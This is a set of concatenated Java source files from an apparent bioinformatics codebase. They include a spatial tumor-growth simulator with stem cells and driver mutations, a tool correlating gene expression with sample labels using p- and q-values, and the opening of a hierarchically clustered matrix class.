options.addOption("c", "cutoff", true, "correlation cutoff"); options.addOption("n", "normalize", false, "normalize"); options.addOption("f", "fisherz", false, "convert fisherz"); HelpFormatter formatter = new HelpFormatter(); CommandLineParser parser = new BasicParser(); CommandLine commandLine; try{ commandLine = parser.parse(options, args); }catch (Exception e) { formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] tabFile", options); return ; } List <String> argList = commandLine.getArgList(); if(argList.size() != 1){ formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] tabFile", options); return; } CoexpressionNetwork C = new CoexpressionNetwork(new MyMat(argList.get(0))); if(commandLine.hasOption("c")){ C.cutoff = Double.valueOf(commandLine.getOptionValue("c")); } C.getCor(); if(commandLine.hasOption("f")){ C.convert2FisherZ(); } if(commandLine.hasOption("n")){ C.normalizeCor(); } if(!commandLine.hasOption("c")){ C.print(); }else{ C.getLink(); C.printResult(); } } } <file_sep>/src/sim/BigSimulator2D.java package sim; import java.io.FileWriter; import java.io.IOException; import java.io.PrintWriter; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.Random; import java.util.Set; import java.util.TreeSet; import org.apache.commons.cli.BasicParser; import org.apache.commons.cli.CommandLine; import org.apache.commons.cli.CommandLineParser; import org.apache.commons.cli.HelpFormatter; import org.apache.commons.cli.Options; import sun.reflect.Reflection; public class BigSimulator2D { int maxBinary = 63;// number of digits of max long is 63 in the binary system // parameters for simulations double mutationRate = 0.001; double growthRate = 0.0001; double deathRate = 0.0000001; double deathRateForNonStem = 0.01; double symmetricReplicationProbablity = 0.1; int maxTime = 5000000; int maxPopulationSize = 100000; int genomeSize = 300; int driverSize = 10; // driverSize + essensialGeneSize <= maxBinary double fitnessIncrease = 5; int initialPopulationSize = 10; //variable int G; // the number of long integer used for coding genomes long[][][] genomes; boolean [][][] state; // occupied differentiated replicate int limXY; int maxX, minX, maxY, minY; Map <Long, Double> genome2fitnessMap; int populationSize; int time; Map <Long, Set<Integer>> genome2mutatedGeneMap; //for simulation Random R = new Random(); public BigSimulator2D(){}; void initializeGenomes() throws Exception{ if(driverSize > maxBinary | driverSize > genomeSize){ throw new Exception(); } populationSize = 0; time = 0; limXY = (int) (2*Math.pow(maxPopulationSize, 0.5)); G = genomeSize/maxBinary + 1; genomes = new long[2*limXY+1][2*limXY+1][G]; state= new boolean [2*limXY+1][2*limXY+1][3]; genome2fitnessMap = new HashMap <Long, Double>(); genome2mutatedGeneMap = new HashMap <Long, Set<Integer>>(); fillCore(); } static String decimal2binary(long d){ return Long.toBinaryString(d); } static long binary2decimalLong(String numberString){ long convertedNumber = 0L; for (int i = 0; i < numberString.length(); i++){ if (Integer.parseInt(Character.toString(numberString.charAt(i))) == 1){ convertedNumber = convertedNumber + (Long.parseLong(Character.toString(numberString.charAt(i))) * (long)Math.pow(2, (numberString.length() - i - 1))); } } return convertedNumber; } long mutatedGenes2genomeLong(Set <Integer> mutatedGenes){ String tmp = ""; for(int i = 0; i < maxBinary; i++){ if(mutatedGenes.contains(i)){ tmp = "1" + tmp; }else{ tmp = "0" + tmp; } } long tmp2 = binary2decimalLong(tmp); genome2mutatedGeneMap.put(tmp2, mutatedGenes); return tmp2; } Set <Integer> genomeLong2mutatedGenes(long genome){ if(genome2mutatedGeneMap.containsKey(genome)){ return genome2mutatedGeneMap.get(genome); }else{ String tmp = decimal2binary(genome); Set <Integer> mutatedGenes = new TreeSet<Integer>(); int l = tmp.length(); for(int i = 0; i < l; i++){ if(tmp.substring(l-i-1,l-i).equals("1")){ mutatedGenes.add(i); } } genome2mutatedGeneMap.put(genome, mutatedGenes); return mutatedGenes; } } Set <Integer> genome2mutatedGenes(long genome[]){ Set <Integer> mutatedGenes = new TreeSet<Integer>(); for(int j = 0; j < G; j++){ Set <Integer> tmp = genomeLong2mutatedGenes(genome[j]); for(int i = 0;(i < maxBinary & j*maxBinary + i < genomeSize); i++){ if(tmp.contains(i)){ mutatedGenes.add(j*maxBinary+i); } } } return mutatedGenes; } int coordinate2index(int c){ return limXY + c; } long[] get(int x, int y){ return genomes[coordinate2index(x)][coordinate2index(y)]; } long[] getDeeply(int x, int y){ long[] tmp = new long[G]; for(int i = 0; i < G ; i++){ tmp[i] = genomes[coordinate2index(x)][coordinate2index(y)][i]; } return tmp; } void set(int x, int y, long[] genome){ long[] tmp = new long[G]; for(int i = 0; i < G ; i++){ tmp[i] = genome[i]; } genomes[coordinate2index(x)][coordinate2index(y)] = tmp; } void set(int x, int y, long[] genome, boolean[] state){ set(x, y, genome); setState(x, y, state); } void clear(int x, int y){ genomes[coordinate2index(x)][coordinate2index(y)] = new long[G]; state[coordinate2index(x)][coordinate2index(y)][0] = false; //occupied state[coordinate2index(x)][coordinate2index(y)][1] = false; //differentiated state[coordinate2index(x)][coordinate2index(y)][2] = false; //replicate } boolean[] getState(int x, int y){ return state[coordinate2index(x)][coordinate2index(y)]; } boolean[] getStateDeeply(int x, int y){ boolean[] tmp = new boolean[3]; for(int i = 0; i < 3 ; i++){ tmp[i] = state[coordinate2index(x)][coordinate2index(y)][i]; } return tmp; } void setState(int x, int y, boolean[] s){ boolean[] tmp = new boolean[3]; for(int i = 0; i < 3 ; i++){ tmp[i] = s[i]; } state[coordinate2index(x)][coordinate2index(y)] = tmp; } boolean isEmpty(int x, int y){ return !state[coordinate2index(x)][coordinate2index(y)][0]; } boolean getRep(int x, int y){ return state[coordinate2index(x)][coordinate2index(y)][2]; } void setRep(int x, int y, boolean b){ state[coordinate2index(x)][coordinate2index(y)][2] = b; } void setDif(int x, int y, boolean b){ state[coordinate2index(x)][coordinate2index(y)][1] = b; } boolean isStem(int x, int y){ return !state[coordinate2index(x)][coordinate2index(y)][1]; } boolean isMutated(int x, int y, int g){ return isMutated(get(x,y), g); } boolean isMutated(long[] genome, int g){ int n = g/maxBinary; // g = n*maxBinary + m int m = g - (n*maxBinary); return genomeLong2mutatedGenes(genome[n]).contains(m); } double genome2fitness(long[] genome){ if(genome2fitnessMap.containsKey(genome[0])){ return genome2fitnessMap.get(genome[0]); }else{ double fitness = 1; for(int i=0; i< driverSize; i++){ if(isMutated(genome,i)){ fitness *= fitnessIncrease; } } genome2fitnessMap.put(genome[0], fitness); return fitness; } } void fillCore(){ setNormalCell(0,0); populationSize++; if(populationSize==initialPopulationSize){ return; } for(int r = 1; r <limXY; r++){ for(int y = r; y > -r; y--){ setNormalCell(r,y); setMaxMinXY(r, y); populationSize++; if(populationSize==initialPopulationSize){ return; } } for(int x = r; x > -r; x--){ setNormalCell(x,-r); setMaxMinXY(x, -r); populationSize++; if(populationSize==initialPopulationSize){ return; } } for(int y = -r; y < r; y++){ setNormalCell(-r,y); setMaxMinXY(-r, y); populationSize++; if(populationSize==initialPopulationSize){ return; } } for(int x = -r; x < r; x++){ setNormalCell(x,r); setMaxMinXY(x,r); populationSize++; if(populationSize==initialPopulationSize){ return; } } } } void setNormalCell(int x, int y){ long[] tmp = new long[G]; boolean[] tmp2 = new boolean[3]; tmp2[0] = true; set(x, y,tmp, tmp2); } void setMaxMinXY(int x, int y){ if(x > maxX){ maxX = x; } if(y > maxY){ maxY = y; } if(x < minX){ minX = x; } if(y < minY){ minY = y; } } void mutate(int x, int y){ long genome[] = get(x, y); for(int j = 0; j < G; j++){ Set <Integer> newMutatedGenes = null; for(int i=0; (i < maxBinary & j*maxBinary + i < genomeSize); i++){ if(!isMutated(genome,j*maxBinary + i) & (R.nextDouble() < mutationRate)){ if(newMutatedGenes==null){ newMutatedGenes = new TreeSet <Integer>(genomeLong2mutatedGenes(genome[j])); } newMutatedGenes.add(i); } } if(newMutatedGenes!=null){ genome[j] = mutatedGenes2genomeLong(newMutatedGenes); } } } List <List<Integer>> getEmptyNeighbors(int x, int y){ List <List<Integer>> tmp = new ArrayList <List<Integer>>(); for(int i = x-1; i<=x+1 ; i++){ for(int j = y-1; j<=y+1 ; j++){ if(isEmpty(i,j)){ List<Integer> tmp2 = new ArrayList<Integer>(); tmp2.add(i); tmp2.add(j); tmp.add(tmp2); } } } return tmp; } public void createNeighbor(int x, int y){ setRep(x,y,false); long[] genome = getDeeply(x,y); boolean[] state = getStateDeeply(x, y); List <List<Integer>> neighbor = getEmptyNeighbors(x, y); if(!neighbor.isEmpty()){ List<Integer> tmp2 = neighbor.get(R.nextInt(neighbor.size())); int x2 = tmp2.get(0); int y2 = tmp2.get(1); set(x2,y2,genome,state); if(x2 > maxX){ maxX = x2; } if(x2 < minX){ minX = x2; } if(y2 > maxY){ maxY = y2; } if(y2 < minY){ minY = y2; } }else{ int[] v = new int[8]; double[] V = new double[8]; //right for(int i=1; x+i<=limXY; i++){ if(isEmpty(x+i,y)){ v[0]=i-1; V[0]=1.0/(i-1); break; } } //upper right for(int i=1; x+i<=limXY & y+i<=limXY; i++){ if(isEmpty(x+i,y+i)){ v[1]=i-1; V[1]=1.0/(i-1); break; } } //upper for(int i=1; y+i<=limXY; i++){ if(isEmpty(x,y+i) ){ v[2]=i-1; V[2]=1.0/(i-1); break; } } //upper left for(int i=1; x-i>=-limXY & y+i<=limXY; i++){ if(isEmpty(x-i,y+i) ){ v[3]=i-1; V[3]=1.0/(i-1); break; } } //left for(int i=1; x-i>=-limXY; i++){ if(isEmpty(x-i,y) ){ v[4]=i-1; V[4]=1.0/(i-1); break; } } //lower left for(int i=1; x-i>=-limXY & y-i>=-limXY; i++){ if(isEmpty(x-i,y-i) ){ v[5]=i-1; V[5]=1.0/(i-1); break; } } //lower for(int i=1; y-i>=-limXY; i++){ if(isEmpty(x,y-i)){ v[6]=i-1; V[6]=1.0/(i-1); break; } } //lower right for(int i=1; y-i>=-limXY & x+i<=limXY; i++){ if(isEmpty(x+i,y-i) ){ v[7]=i-1; V[7]=1.0/(i-1); break; } } double s = 0; for(int i = 0; i < 8;i++){ s += V[i]; } for(int i = 0; i < 8;i++){ V[i] /= s; } double r = R.nextDouble(); s=0; int d = 0; int D = 0; for(int i = 0; i < 8;i++){ s += V[i]; if(r < s){ d = v[i]; D = i+1; break; } } long[][] tmp = new long[d][]; boolean[][] tmpR = new boolean[d][]; if(D==1){ //right for(int i=1;i<=d;i++){ tmp[i-1] = getDeeply(x+i, y); tmpR[i-1] = getStateDeeply(x+i, y); } set(x+1, y, genome, state); for(int i=1;i<=d;i++){ set(x+i+1, y, tmp[i-1], tmpR[i-1]); } if(x+d+1 > maxX){ maxX = x+d+1; } }else if(D==2){ //upper right for(int i=1;i<=d;i++){ tmp[i-1] = getDeeply(x+i, y+i); tmpR[i-1] = getStateDeeply(x+i, y+i); } set(x+1, y+1, genome, state); for(int i=1;i<=d;i++){ set(x+i+1, y+i+1,tmp[i-1],tmpR[i-1]); } if(x+d+1 > maxX){ maxX = x+d+1; } if( y+d+1 > maxY){ maxY = y+d+1; } }else if(D==3){ //upper for(int i=1;i<=d;i++){ tmp[i-1] = getDeeply(x, y+i); tmpR[i-1] = getStateDeeply(x, y+i); } set(x, y+1, genome, state); for(int i=1;i<=d;i++){ set(x, y+i+1,tmp[i-1], tmpR[i-1]); } if( y+d+1 > maxY){ maxY = y+d+1; } }else if(D==4){ //upper left for(int i=1;i<=d;i++){ tmp[i-1] = getDeeply(x-i, y+i); tmpR[i-1] = getStateDeeply(x-i, y+i); } set(x-1, y+1, genome, state); for(int i=1;i<=d;i++){ set(x-i-1, y+i+1,tmp[i-1],tmpR[i-1]); } if(x-d-1 < minX){ minX = x-d-1; } if(y+d+1 > maxY){ maxY = y+d+1; } }else if(D==5){ //left for(int i=1;i<=d;i++){ tmp[i-1] = getDeeply(x-i, y); tmpR[i-1] = getStateDeeply(x-i, y); } set(x-1, y, genome, state); for(int i=1;i<=d;i++){ set(x-i-1, y, tmp[i-1], tmpR[i-1]); } if(x-d-1 < minX){ minX = x-d-1; } }else if(D==6){ //lower left for(int i=1;i<=d;i++){ tmp[i-1] = getDeeply(x-i, y-i); tmpR[i-1] = getStateDeeply(x-i, y-i); } set(x-1, y-1, genome, state); for(int i=1;i<=d;i++){ set(x-i-1, y-i-1,tmp[i-1], tmpR[i-1]); } if(x-d-1 < minX){ minX = x-d-1; } if(y-d-1 < minY){ minY = y-d-1; } }else if(D==7){ //lower for(int i=1;i<=d;i++){ tmp[i-1] = getDeeply(x, y-i); tmpR[i-1] = getStateDeeply(x, y-i); } set(x, y-1, genome, state); for(int i=1;i<=d;i++){ set(x, y-i-1,tmp[i-1], tmpR[i-1]); } if(y-d-1 < minY){ minY = y-d-1; } }else if(D==8){ //lower right for(int i=1;i<=d;i++){ tmp[i-1] = getDeeply(x+i, y-i); tmpR[i-1] = getStateDeeply(x+i, y-i); } set(x+1, y-1, genome, state); for(int i=1;i<=d;i++){ set(x+i+1, y-i-1,tmp[i-1], tmpR[i-1]); } if(x+d+1 > maxX){ maxX = x+d+1; } if(y-d-1 < minY){ minY = y-d-1; } } } } void growPopulation(){ for(int x = minX; x <= maxX ; x++){ for(int y = minY; y <= maxY ; y++){ if(!growCell1(x,y)){ return; } } } if(!growCell2(0,0)){ return; } for(int r = 1; r <= Math.abs(maxX) | r <= Math.abs(minX) | r <= Math.abs(maxY) | r <= Math.abs(minY); r++){ //if(true){ if(R.nextBoolean()){ for(int y = r; y > -r; y--){ if(!growCell2(r,y)){ return; } } for(int x = r; x > -r; x--){ if(!growCell2(x,-r)){ return; } } for(int y = -r; y < r; y++){ if(!growCell2(-r,y)){ return; } } for(int x = -r; x < r; x++){ if(!growCell2(x,r)){ return; } } }else{ for(int x = r; x > -r; x--){ if(!growCell2(x,r)){ return; } } for(int y = r; y > -r; y--){ if(!growCell2(-r,y)){ return; } } for(int x = -r; x < r; x++){ if(!growCell2(x,-r)){ return; } } for(int y = -r; y < r; y++){ if(!growCell2(r,y)){ return; } } } } } boolean growCell1(int x, int y){ if(isEmpty(x,y)){ return true; } if(Math.abs(x) == limXY | Math.abs(y) == limXY){ return false; } if((isStem(x,y) & R.nextDouble() < deathRate) | (!isStem(x,y) & R.nextDouble() < deathRateForNonStem)){ clear(x,y); populationSize--; return true; } if(R.nextDouble() < getFitness(x,y)*growthRate){ mutate(x,y); setRep(x,y,true); }else{ setRep(x,y,false); } if(populationSize >= maxPopulationSize){ return false; }else{ return true; } } double getFitness(int x, int y){ return genome2fitness(get(x,y)); } void replicate(int x, int y){ if(symmetricReplicationProbablity<1 & isStem(x,y)){ //stem if(R.nextDouble() > symmetricReplicationProbablity){ //asymmetric replication if(R.nextBoolean()){ setDif(x, y, true); createNeighbor(x, y); setDif(x, y, false); }else{ createNeighbor(x, y); setDif(x, y, true); } }else{ //symmetric replication createNeighbor(x, y); } }else{ //differentiated createNeighbor(x, y); } } boolean growCell2(int x, int y){ if(isEmpty(x,y)){ return true; } if(Math.abs(x) == limXY | Math.abs(y) == limXY){ return false; } if(getRep(x,y)){ replicate(x,y); populationSize++; } if(populationSize >= maxPopulationSize){ return false; }else{ return true; } } public void simulateWhilePrinting(String f, int I) throws IOException{ int i = 0; printResults(f + "." + i); int poplationSizeCutoff = populationSize*I; for(time = 1; time <= maxTime; time++){ growPopulation(); if(time/10 == (double)time/10){ System.err.println("time=" + time +"\t" + "populationSize=" + populationSize) ; } if(Math.abs(maxX) == limXY | Math.abs(minX) == limXY | Math.abs(maxY) == limXY | Math.abs(minY) == limXY){ System.err.println("warn: reached space limit!"); break; } if(populationSize >= poplationSizeCutoff){ i++; printResults(f + "." + i); poplationSizeCutoff *= I; } if(populationSize == 0 | populationSize>= maxPopulationSize){ break; } } System.err.println(minX + " " + maxX + " " + minY + " " + maxY + " " + limXY + " " + count()); } public void simulate(){ for(time = 1; time <= maxTime; time++){ growPopulation(); if(time/10 == (double)time/10){ System.err.println("time=" + time +"\t" + "populationSize=" + populationSize) ; } if(Math.abs(maxX) == limXY | Math.abs(minX) == limXY | Math.abs(maxY) == limXY | Math.abs(minY) == limXY){ System.err.println("warn: reached space limit!"); break; } if(populationSize == 0 | populationSize>= maxPopulationSize){ break; } } System.err.println(minX + " " + maxX + " " + minY + " " + maxY + " " + limXY + " " + count()); } public void printResults(String f) throws IOException{ PrintWriter os = new PrintWriter(new FileWriter(f + ".tm")); PrintWriter os2 = new PrintWriter(new FileWriter(f + ".mut")); PrintWriter os3 = new PrintWriter(new FileWriter(f + ".prm")); Map <String, Integer> tmp = new HashMap <String, Integer>(); int i = 0; /*int M = maxX; if(-minX > M){ M = -minX; } if(maxY > M){ M = maxY; } if(-minY > M){ M = -minY; } maxX = M; for(int y = M; y>= -M; y--){ for(int x = -M; x<=M; x++){ */ for(int y = maxY; y>=minY; y--){ for(int x = minX; x<=maxX; x++){ if(isEmpty(x,y)){ os.print(0); }else{ Set <Integer> tmp2 = genome2mutatedGenes(get(x,y)); if(!tmp.containsKey(tmp2.toString())){ i++; tmp.put(tmp2.toString(), i); os2.print(i); //os2.print("\t" + tmp2.toString()); for(int g = 0; g < genomeSize; g++){ os2.print("\t" + (tmp2.contains(g)?1:0)); } os2.print("\n"); } os.print((isStem(x,y)?"":"-") + tmp.get(tmp2.toString())); } if(x == maxX){ os.print("\n"); }else{ os.print("\t"); } } } os3.print(getParmetersAsString()); os.flush(); os2.flush(); os3.flush(); os.close(); os2.close(); os3.close(); } public String getParmetersAsString(){ StringBuffer S = new StringBuffer(""); S.append("mutationRate" + "\t" + mutationRate + "\n"); S.append("growthRate" + "\t" + growthRate + "\n"); S.append("deathRate" + "\t" + deathRate + "\n"); S.append("deathRateForNonStem" + "\t" + deathRateForNonStem + "\n"); S.append("symmetricReplicationProbablity" + "\t" + symmetricReplicationProbablity + "\n"); S.append("initialPopulationSize" + "\t" + initialPopulationSize + "\n"); S.append("maxTime" + "\t" + maxTime + "\n"); S.append("maxPopulationSize" + "\t" + maxPopulationSize + "\n"); S.append("genomeSize" + "\t" + genomeSize + "\n"); S.append("driverSize" + "\t" + driverSize + "\n"); S.append("fitnessIncrease" + "\t" + fitnessIncrease + "\n"); S.append("limXY" + "\t" + limXY + "\n"); S.append("maxX" + "\t" + maxX + "\n"); S.append("minX" + "\t" + minX + "\n"); S.append("maxY" + "\t" + maxY + "\n"); S.append("minY" + "\t" + minY + "\n"); S.append("populationSize" + "\t" + populationSize + "\n"); S.append("time" + "\t" + time + "\n"); return S.toString(); } double count(){ int tmp = 0; for(int x = minX; x <= maxX ; x++){ for(int y = minY; y <= maxY ; y++){ if(!isEmpty(x,y)){ tmp++; } } } return tmp; } public static void main(String [] args) throws Exception{ Options options = new Options(); HelpFormatter formatter = new HelpFormatter(); CommandLineParser parser = new BasicParser(); CommandLine commandLine; BigSimulator2D S = new BigSimulator2D(); String outfile = "out"; options.addOption("m", "mut", true, "mutaionRate (" + S.mutationRate + ")" ); options.addOption("D", "death", true, "deathRate (" + S.deathRate + ")"); options.addOption("N", "deathns", true, "deathRate for non stem cell (" + S.deathRateForNonStem + ")"); options.addOption("P", "maxpop", true, "maxPopulationSize (" + S.maxPopulationSize + ")"); options.addOption("G", "gen", true, "genomeSize (" + S.genomeSize + ")"); options.addOption("g", "grow", true, "growthRate (" + S.growthRate + ")"); options.addOption("d", "drv", true, "driverSize (" + S.driverSize + ")"); options.addOption("f", "fit", true, "fitnessIncrease (" + S.fitnessIncrease + ")"); options.addOption("F", "fitlog", true, "fitnessIncrease in log10 scale (" + Math.log10(S.fitnessIncrease) + ")"); options.addOption("p", "inipop", true, "initialPopulationSize (" + S.initialPopulationSize + ")"); options.addOption("T", "maxtime", true, "maxTime (" + S.maxTime + ")"); options.addOption("S", "sym", true, "symmetric replication probablity (" + S.symmetricReplicationProbablity + ")"); options.addOption("o", "outfile", true, "out filename"); options.addOption("s", "snap", true, "take snap shot"); try{ commandLine = parser.parse(options, args); }catch (Exception e) { formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] ", options); return ; } List <String> argList = commandLine.getArgList(); if(argList.size() != 0){ formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] ", options); return; } if(commandLine.hasOption("m")){ S.mutationRate = Double.valueOf(commandLine.getOptionValue("m")); } if(commandLine.hasOption("g")){ S.growthRate = Double.valueOf(commandLine.getOptionValue("g")); } if(commandLine.hasOption("D")){ S.deathRate = Double.valueOf(commandLine.getOptionValue("D")); } if(commandLine.hasOption("N")){ S.deathRateForNonStem = Double.valueOf(commandLine.getOptionValue("N")); } if(commandLine.hasOption("p")){ S.initialPopulationSize = Integer.valueOf(commandLine.getOptionValue("p")); } if(commandLine.hasOption("P")){ S.maxPopulationSize = Integer.valueOf(commandLine.getOptionValue("P")); } if(commandLine.hasOption("G")){ S.genomeSize = Integer.valueOf(commandLine.getOptionValue("G")); } if(commandLine.hasOption("d")){ S.driverSize = Integer.valueOf(commandLine.getOptionValue("d")); } if(commandLine.hasOption("f")){ S.fitnessIncrease = Double.valueOf(commandLine.getOptionValue("f")); } if(commandLine.hasOption("F")){ S.fitnessIncrease = Math.pow(10,Double.valueOf(commandLine.getOptionValue("F"))); } if(commandLine.hasOption("T")){ S.maxTime = Integer.valueOf(commandLine.getOptionValue("T")); } if(commandLine.hasOption("S")){ S.symmetricReplicationProbablity = Double.valueOf(commandLine.getOptionValue("S")); } if(commandLine.hasOption("o")){ outfile = commandLine.getOptionValue("o"); } S.initializeGenomes(); if(!commandLine.hasOption("s")){ S.simulate(); }else{ S.simulateWhilePrinting(outfile, Integer.valueOf(commandLine.getOptionValue("s"))); } S.printResults(outfile); } } <file_sep>/src/utility/MultipleSampleLabelCorrelation.java package utility; import java.util.*; import org.apache.commons.cli.BasicParser; import org.apache.commons.cli.CommandLine; import org.apache.commons.cli.CommandLineParser; import org.apache.commons.cli.HelpFormatter; import org.apache.commons.cli.Options; import sun.reflect.Reflection; public class MultipleSampleLabelCorrelation { private MyMat expressionProfiles; private StringMat sampleLabels; private MyMat Pvalue; private MyMat Qvalue; private MyMat corScore; private boolean pvalueWithGPD = false; private Integer itrForNullDist = null; private Double PvalueCutoff = null; private Double QvalueCutoff = null; private boolean minusLogScale = false; private boolean supressPcalculation = false; public MultipleSampleLabelCorrelation(MyMat expressionProfiles, StringMat sampleLabels){ if(!MyFunc.isect(expressionProfiles.getColNames(), sampleLabels.getColNames()).isEmpty()){ this.expressionProfiles = expressionProfiles; this.sampleLabels = sampleLabels; } else if(!MyFunc.isect(expressionProfiles.getRowNames(), sampleLabels.getColNames()).isEmpty()){ this.expressionProfiles = new MyMat(expressionProfiles); this.expressionProfiles.transpose(); this.sampleLabels = sampleLabels; } else if(!MyFunc.isect(expressionProfiles.getColNames(), sampleLabels.getRowNames()).isEmpty()){ this.expressionProfiles = expressionProfiles; this.sampleLabels = new StringMat(sampleLabels); this.sampleLabels.transpose(); } else if(!MyFunc.isect(expressionProfiles.getRowNames(), sampleLabels.getRowNames()).isEmpty()){ this.expressionProfiles = new MyMat(expressionProfiles); this.expressionProfiles.transpose(); this.sampleLabels = new StringMat(sampleLabels); this.sampleLabels.transpose(); } else { throw new MyException("expressionProfile and sampleLabels must have common rows or columns!"); } Pvalue = new MyMat(this.expressionProfiles.getRowNames(), this.sampleLabels.getRowNames()); Qvalue = new MyMat(this.expressionProfiles.getRowNames(), this.sampleLabels.getRowNames()); corScore = new MyMat(this.expressionProfiles.getRowNames(), this.sampleLabels.getRowNames()); } public void setPvalueCutoff(double d){ PvalueCutoff = d; } public void setQvalueCutoff(double d){ QvalueCutoff = d; } public void outputInMinusLogScale(){ minusLogScale = true; } public void useGPDforPvalueCalculation(){ pvalueWithGPD = true; } public void setItrForNullDist(int i){ itrForNullDist = i; } public void calculate(){ for(String sampleLabelId: sampleLabels.getRowNames()){ Map <String, String> sampleLabelMap = sampleLabels.getRowMap(sampleLabelId); SampleLableCorrelation SLC = new SampleLableCorrelation(expressionProfiles); if(itrForNullDist!=null){ SLC.setItrForNullDist(itrForNullDist); } try{ SLC.setSampleLabel(sampleLabelMap); } catch (Exception e){ continue; } SLC.calculateCorScore(); Map <String, Double> corScoreMap = SLC.getCorScore(); for(Map.Entry<String, Double> e: corScoreMap.entrySet()){ corScore.set(e.getKey(), sampleLabelId, e.getValue()); } if(supressPcalculation){ continue; } if(pvalueWithGPD){ SLC.calculatePvalueWithPDB(); }else{ SLC.calculatePvalue(); } Map <String, Double> PvalueMap = SLC.getPvalue(); for(Map.Entry<String, Double> e: PvalueMap.entrySet()){ Pvalue.set(e.getKey(), sampleLabelId, e.getValue()); } SLC.calculateQvalue(); /* Map <String, Double> QvalueMap = SLC.getQvalue(); for(Map.Entry<String, Double> e: QvalueMap.entrySet()){ Qvalue.set(e.getKey(), sampleLabelId, e.getValue()); } */ } if(!supressPcalculation){ Map <String, Double> PvalueMap = Pvalue.asMap(); Map <String, Double> QvalueMap = MyFunc.calculateStoreyQvalue(PvalueMap); //Map <String, Double> QvalueMap = MyFunc.calculateQvalue(PvalueMap); for(Map.Entry<String, Double> e: QvalueMap.entrySet()){ List <String> tmp = MyFunc.split("\t", e.getKey()); Qvalue.set(tmp.get(0), tmp.get(1), e.getValue()); } } } private void chatch() { // TODO Auto-generated method stub } public String toString(){ StringBuffer S = new StringBuffer("expression profile\tsample label\tCor score\tP value\tQ value\n"); Map <String, Double> PvalueMap = Pvalue.asMap(); Map <String, Double> QvalueMap = Qvalue.asMap(); Map <String, Double> corScoreMap = corScore.asMap(); List<String> keys = MyFunc.sortKeysByAscendingOrderOfValues(PvalueMap); for(String s: keys){ double p; if(minusLogScale){ p = (PvalueMap.get(s)==0)?Double.MAX_VALUE: -Math.log10(PvalueMap.get(s)); }else{ p = PvalueMap.get(s); } if(PvalueCutoff != null && (minusLogScale?(p < PvalueCutoff):(p > PvalueCutoff))){ continue; } double q; if(minusLogScale){ q = (QvalueMap.get(s)==0)?Double.MAX_VALUE: -Math.log10(QvalueMap.get(s)); }else{ q = QvalueMap.get(s); } if(QvalueCutoff != null && (minusLogScale?(q < QvalueCutoff):(q > QvalueCutoff))){ continue; } List <String> tmp = new ArrayList<String>(); tmp.add(s); tmp.add(Double.toString(corScoreMap.get(s))); tmp.add(Double.toString(p)); tmp.add(Double.toString(q)); S.append(MyFunc.join("\t", tmp) + "\n"); } return S.toString(); } public MyMat getCorScoreMatrix(){ return corScore; } public MyMat getPvalueMatrix(){ if(minusLogScale){ MyMat tmp = new MyMat(Pvalue.getRowNames(), Pvalue.getColNames()); for(String s: Pvalue.getRowNames()){ for(String t: Pvalue.getColNames()){ tmp.set(s, t,-Math.log10(Pvalue.get(s, t))); } } return tmp; }else{ return Pvalue; } } public MyMat getQvalueMatrix(){ if(minusLogScale){ MyMat tmp = new MyMat(Qvalue.getRowNames(), Qvalue.getColNames()); for(String s: Qvalue.getRowNames()){ for(String t: Qvalue.getColNames()){ tmp.set(s, t,-Math.log10(Qvalue.get(s, t))); } } return tmp; }else{ return Qvalue; } } public static void main(String[] args) throws Exception { Options options = new Options(); options.addOption("l", "minuslog", false, "output in minus log scale"); options.addOption("p", "pcutoff", true, "p-value cutoff"); options.addOption("q", "pcutoff", true, "q-value cutoff"); options.addOption("g", "gpd", false, "use GPD for p-value calculation"); options.addOption("i", "itrnull", true, "# of iteration for null dist genetation"); options.addOption("P", "pmat", false, "get p-value matrix"); options.addOption("Q", "qmat", false, "get q-value matrix"); options.addOption("c", "cmat", false, "get correlation score matrix"); HelpFormatter formatter = new HelpFormatter(); CommandLineParser parser = new BasicParser(); CommandLine commandLine; try{ commandLine = parser.parse(options, args); }catch (Exception e) { formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] exp_file sample_label_file", options); return ; } List <String> argList = commandLine.getArgList(); if(argList.size() != 2 ){ formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] exp_file sample_lable_file", options); return; } MultipleSampleLabelCorrelation SLC= new MultipleSampleLabelCorrelation(new MyMat(argList.get(0)), new StringMat(argList.get(1))); if(commandLine.hasOption("l")){ SLC.outputInMinusLogScale(); } if(commandLine.hasOption("p")){ SLC.setPvalueCutoff(Double.valueOf(commandLine.getOptionValue("p"))); } if(commandLine.hasOption("q")){ SLC.setQvalueCutoff(Double.valueOf(commandLine.getOptionValue("q"))); } if(commandLine.hasOption("i")){ SLC.setItrForNullDist(Integer.valueOf(commandLine.getOptionValue("i"))); } if(commandLine.hasOption("g")){ SLC.useGPDforPvalueCalculation(); } if(commandLine.hasOption("c")){ SLC.supressPcalculation = true; SLC.calculate(); System.out.print(SLC.getCorScoreMatrix()); }else{ SLC.calculate(); if(commandLine.hasOption("P")){ System.out.print(SLC.getPvalueMatrix()); }else{ if(commandLine.hasOption("Q")){ System.out.print(SLC.getQvalueMatrix()); }else{ System.out.print(SLC); } } } } }<file_sep>/bin/utility/.svn/text-base/ClusteredMyMat.java.svn-base package utility; import java.io.*; import java.io.IOException; import java.util.List; import java.util.zip.DataFormatException; import org.apache.commons.cli.Options; import tensor.ClusteredOrder3Tensor; import utility.HierarchicalClustering.*; public class ClusteredMyMat extends MyMat { private static final long serialVersionUID = 7178378743611753498L; protected HierarchicalClustering rowClustering = null; protected HierarchicalClustering colClustering = null; private DistFuncType rowDistType = DistFuncType.DISSIMILARITY; private DistFuncType colDistType = DistFuncType.DISSIMILARITY; private ClusterDistFuncType rowClusteringType = ClusterDistFuncType.AVERAGE; private ClusterDistFuncType colClusteringType = ClusterDistFuncType.AVERAGE; private boolean doRowClustering = true; private boolean doColClustering = true; public ClusteredMyMat(){ super(); } public ClusteredMyMat(String infile) throws IOException, DataFormatException{ super(infile); } public ClusteredMyMat(MyMat m){ super(m); } public ClusteredMyMat(List <String> row, List <String> col){ super(row, col); } public void supressRowClustering(){ doRowClustering = false; } public void supressColClustering(){ doColClustering = false; } public HierarchicalClustering getRowClustering(){ return rowClustering; } public HierarchicalClustering getColClustering(){ return colClustering; } public ClusteredMyMat(ClusteredMyMat M) { super(M); 